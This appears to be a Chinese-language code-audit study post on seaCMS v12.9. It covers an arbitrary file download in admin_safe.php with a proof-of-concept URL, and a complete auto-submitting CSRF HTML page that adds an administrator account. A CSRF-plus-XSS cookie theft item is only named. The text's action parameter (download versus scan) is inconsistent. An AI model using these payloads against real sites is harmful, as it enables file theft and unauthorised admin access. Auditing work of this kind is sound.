seaCMS v12.9代码审计学习（下半）
文章目录
- admin/admin_safe.php任意文件下载
- CSRF 添加管理员账户
- CSRF配合XSS弹cookie
admin/admin_safe.php任意文件下载
在admin_safe.php文件下有着这么一段代码，他的作用时检查action的值是否为download，如果为download那么将你传入的文件直接打印给你。这里并未对用户传入的file变量做任何过滤。
poc:http://www.seacms/ozcf6u/admin_safe.php?action=scan&file=E:/phpStudy_64/phpstudy_pro/WWW/SeaCMS_12.9/Upload/ozcf6u/admin_safe.php,即可下载任意目录下的文件。
CSRF 添加管理员账户
poc:
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form action="http://www.seacms/ozcf6u/admin_manager.php?action=add" method="POST"><input type="hidden" name="username" value="test" /><input type="hidden" name="pwd" value="test" /><input type="hidden" name="pwd2" value="test" /><input type="hidden" name="groupid" value="1" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');document.forms[0].submit();</script></body>
</html>成功效果图:
CSRF配合XSS弹cookie
很多漏洞网上很多师傅都大多复现过，大同小异，这里就不赘述了。